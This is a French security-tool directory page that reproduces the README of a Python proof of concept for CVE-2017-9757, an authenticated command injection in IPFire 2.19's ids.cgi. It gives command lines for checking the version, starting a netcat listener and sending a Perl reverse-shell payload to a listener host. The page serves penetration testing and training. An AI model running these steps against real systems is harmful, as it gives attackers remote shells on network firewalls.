Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/joaoaugustom/ipfire_2.19_rce_authenticated
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubjoaoaugustom/ipfire_2.19_rce_authenticated

IPFire_2.19_RCE_Authenticated

Cet exploit est basé sur la CVE-2017-9757 et a été construit à partir de l'exploit original de 0x09AL.

Voir le dépôt
14il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC RCE OINKCODE IPFire 2.19

Preuve de concept en Python pour la vulnérabilité d'injection de commande authentifiée dans la page ids.cgi d'IPFire 2.19 via le paramètre OINKCODE.

Réservé aux tests de sécurité autorisés et aux laboratoires de formation. N'exécutez ce PoC que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. L'auteur n'est pas responsable d'une mauvaise utilisation ou des dommages causés par ce code.

Présentation de la vulnérabilité

IPFire 2.19 est vulnérable à une injection de commande système dans le paramètre OINKCODE traité par /cgi-bin/ids.cgi. Le paramètre est incorporé dans une commande shell sans neutralisation appropriée, ce qui permet à un utilisateur authentifié d'exécuter des commandes sur l'hôte IPFire.

La vulnérabilité est généralement identifiée comme CVE-2017-9757 et correspond à CWE-78 : neutralisation inappropriée d'éléments spéciaux utilisés dans une commande système (« OS Command Injection »).

Le PoC public d'origine a été testé contre IPFire 2.19 Core Update 110. Le module Metasploit considère que les versions jusqu'à IPFire 2.19 avec Core Update 110 font partie de sa plage de vérification prise en charge.

Pourquoi ce PoC a été créé

Le PoC Python d'origine d'Exploit-DB effectue une requête de vérification en utilisant :

OINKCODE = '`id`'

Il déclare ensuite la cible vulnérable uniquement si la réponse HTTP contient :

uid=99(nobody)

Cette validation n'est pas fiable. La commande peut s'exécuter pendant que sa sortie est consommée par la commande shell construite par la CGI au lieu d'être reflétée dans la réponse HTML renvoyée au client. Par conséquent, le serveur peut renvoyer une page HTTP 200 normale sans inclure la sortie de id, ce qui produit un faux négatif.

Cette implémentation suit la logique de validation utilisée par le module Metasploit :

  1. Envoyer une requête à /cgi-bin/pakfire.cgi avec une authentification HTTP Basic.
  2. Extraire la version IPFire et la Core Update de la réponse.
  3. Considérer IPFire <= 2.19 et Core Update <= 110 comme apparemment vulnérables.
  4. Envoyer la charge utile de commande à /cgi-bin/ids.cgi dans le champ OINKCODE.
  5. Considérer une réponse autre que 200 comme une requête rejetée ou un problème d'authentification.
  6. Ne pas inspecter le corps HTML pour y trouver uid=99(nobody).

Le PoC utilise également une charge utile de type shell de commande Perl, correspondant à la famille de charges utiles de commande prise en charge par le module Metasploit. Une réponse HTTP réussie ne prouve pas, à elle seule, que le shell inverse s'est connecté ; le listener et le chemin réseau doivent également être vérifiés.

Différences entre les exploits sources

FeatureExploit-DB 42149 Python PoCExploit-DB 42369 / MetasploitThis PoC
Vulnerable endpoint/cgi-bin/ids.cgi/cgi-bin/ids.cgi/cgi-bin/ids.cgi
Version checkNoneGET /cgi-bin/pakfire.cgiSame Metasploit-style check
AuthenticationBasic AuthBasic Auth headerBasic Auth through requests.Session
Initial validationExecutes `id` and searches the response bodyChecks the version, then sends the payloadChecks the version and uses the HTTP result code
False-negative riskHigh: depends on uid=99(nobody) being reflectedAvoids body-content validationAvoids body-content validation
Reverse shellBash /dev/tcpMetasploit Unix command payloadPerl IO::Socket::INET command shell
TLS handlingCertificate verification disabled in the PoCSSL enabled by defaultVerification is disabled only with -k/--insecure
ConfigurationValues are edited in the sourceMetasploit optionsCommand-line arguments

Le critère de réussite important du module Metasploit est qu'un code de réponse inattendu indique des identifiants invalides ou une requête rejetée. Il ne nécessite pas que le corps de la réponse contienne la sortie de la commande injectée.

Prérequis

  • Python 3
  • requests
  • Des identifiants IPFire valides avec accès à l'interface web
  • Un interpréteur Perl sur la cible, normalement disponible sous le nom perl
  • Un listener joignable depuis l'hôte IPFire

Installez la dépendance Python :

python3 -m pip install requests

Utilisation

1. Vérifier uniquement la version de la cible

python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

Le mot de passe est demandé de manière interactive lorsque --password n'est pas fourni. Cette approche est recommandée car placer un mot de passe directement dans une commande peut l'exposer via l'historique du shell ou la liste des processus.

2. Démarrer un listener

Utilisez un listener sur l'adresse et le port fournis comme --lhost et --lport :

rlwrap nc -lvnp 4444

Si rlwrap n'est pas installé, utilisez :

nc -lvnp 4444

3. Envoyer la charge utile du shell inverse Perl

python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Pour le certificat HTTPS auto-signé habituel d'IPFire, --insecure/-k est requis. Ne l'utilisez que lorsque la vérification du certificat n'est volontairement pas possible dans le laboratoire.

URL complète au lieu de l'hôte et du port

La cible peut également être fournie comme une URL de base complète :

python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Ignorer l'empreinte de version

N'utilisez cette option que lorsque la version d'IPFire a déjà été confirmée indépendamment :

python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

Spécifier un chemin Perl différent

Si Perl n'est pas dans le PATH par défaut de la cible, indiquez son chemin absolu :

--perl-path /usr/bin/perl

Options de la ligne de commande

OptionDefaultDescription
-t, --targetRequiredTarget host/IP or complete base URL
--schemehttpsScheme used when the target is only a host/IP
--web-port444IPFire web interface port
-u, --usernameadminIPFire username
-p, --passwordPromptPassword; omit to enter it without echo
--lhostRequiredListener address reachable from IPFire
--lport4444Listener port
--perl-pathperlPerl executable on the target
--timeout10HTTP timeout in seconds
-k, --insecureDisabledDisable TLS certificate verification
--skip-version-checkDisabledSkip the pakfire.cgi check
--check-onlyDisabledPerform only the version check

Interpréter la sortie

HTTP 200 depuis ids.cgi

Cela signifie que la requête HTTP a été acceptée par la CGI selon le même critère pratique que celui utilisé par le module Metasploit. Une réponse HTML normale est attendue et ne prouve pas que la vérification de vulnérabilité a échoué.

Vérifiez le listener pour le shell. Si aucun shell n'arrive, examinez l'adresse de rappel, le routage, les règles de sortie du pare-feu, la disponibilité de Perl et le port sélectionné.

HTTP 401 ou HTTP 403

La requête n'a pas été autorisée. Vérifiez le nom d'utilisateur, le mot de passe, l'URL cible, le port et si le compte peut accéder à l'interface web IPFire.

HTTP 404

L'URL cible ou le chemin CGI est probablement incorrect, ou le service n'est pas l'interface web IPFire attendue.

Version non reconnue

Télécharger l’outil